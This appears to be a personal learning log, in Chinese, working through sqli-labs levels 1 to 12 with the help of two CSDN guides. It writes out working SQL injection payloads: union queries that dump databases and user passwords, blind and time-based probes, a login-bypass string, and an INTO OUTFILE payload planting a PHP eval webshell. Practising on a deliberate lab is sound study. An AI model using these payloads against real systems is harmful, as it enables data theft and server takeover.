攻略来源:
攻略1:这是一篇来自于csdn的攻略
攻略2:这里还有一篇来自csdn的攻略
大概就是先看这两篇攻略。
开始干活
环境搭建好了之后大概是这个样式儿滴~
1~15关
less-1~4
进入第一关,看到提示,可以?id=1试一下
果然是可以滴,攻略1提供了代码审计的部分,我们也来学习一下,
我们在源码里面找到了注入的位置,攻略1对此做出了解释。
其实这一句话我们主要关心的是就是注入的位置的闭合问题,另外我们在DVWA部分已经训练过了就是要分析清楚这里的注入点事字符型还是数字型,(其实通过源码分析,这里应该是字符型,但是)我们进行如下尝试根据攻略2:
使用注入语句1=1、1=2进行判断。
1=1和1=2均为正常显示,我们推测为字符型,
使用注入语句1’ and ‘1’ = ‘1 和 1’ and ‘1’='2判断,果然在第二种情况下报错。
所以判断为字符型,发现字符型之后再后边加上–+注释掉后边的信息
发现输出正常,开始试行数,
正式试用行:
order by 3,正常
order by 4 ,报错,说明行数是3行
注意:这里需要使用 ’ 闭合数字1,并且需要–+注释掉后面,否则不闭合的结果就是根本测不出来行数,每次返回的页面都是正常的!!!
进行union注入:
获取所有数据库:SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
复制了以上内容然后报错了,没有输出数据库名,看来还需要进一步研究,
回到攻略1,查看回显位置的代码:1' and 1=2 union select 1,2,3 --+
判断回显的2是那么,3是password,主要这里最后一定要加+(加号)否则会报错,如下
可见攻略2的实际注入语句是:-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata--+
测试之后没有输出
遂回到攻略1
查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';
查字段:select username,password from security.users;
一个固定的简便办法:
group_concat(concat_ws('~',username,password)) from security.users --+
成功爆出!
此外有了攻略,其他爆出还是很简单的:
爆库名
爆表名:注入语句:1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
这里攻略1提到
主要是通过手动猜测闭合方式的,我们跳过less2~4,直接进入less5
less5~8
显示错误, 攻略说这一关是布尔盲注,先找一下闭合方式
字符型闭合报错,
注释后正常,
说明漏洞是字符型漏洞,闭合为 ’
因为是布尔盲注,所以说只能判断正确和错误,
比如判断一下数据库的长度:1’ and length(database())=8 –-+
如果正确的话就会出现you are in …
如果不正确话就啥也不出现
这里需要注意一个问题,那就是–+前面不能有空格哦,这里必须注意!!!
按照攻略上说的less5~8都是一样的,觉得应该先放过这几关,到后边用burp和sqlmap解决。
但是看到另一个攻略说less7和8是有关文件注入的,所以拿出来试一下。
less7的进入,找一下闭合应该是 ‘)),语句应该是:’)) or 1=1–+
注释后
注释前,确定了闭合,然后想办法上传内容
在csdn上找到了这一关的详细解释:less7关卡详细解释
注入语句是:?id=-1’)) union select 1,2,“<?php @eval($_POST['hyc']); ?>” into outfile “C:\phpstudy\WWW\hyc.php” --+
报错了,我们继续看一下虚拟机,
奇怪是的我们查看虚拟机并没有发现生成木马
这里找到了sqlmap的操作方法
等之后再验证一下吧。
less9~10
时间盲注,构造注入语句:1" and if(length((database()))<1,sleep(3),1)
依旧是很麻烦,需要用的burp和sqlmap
less11
是一个登录界面
万能密码进行尝试,在Username一栏中输入:admin’or’1’='1#,密码随意。
爆出用户密码
less12(未成功)
输入admin" and 1=1–报错,发现闭合缺少)
输入admin") and 1=1–
按照攻略反复测试并未尝试出来。
发现一个问题就是绝大多数sqli-lab题目都是需要盲注的,手动操作非常的麻烦。我觉得应该提前结束手动解法,使用sqlmap解题。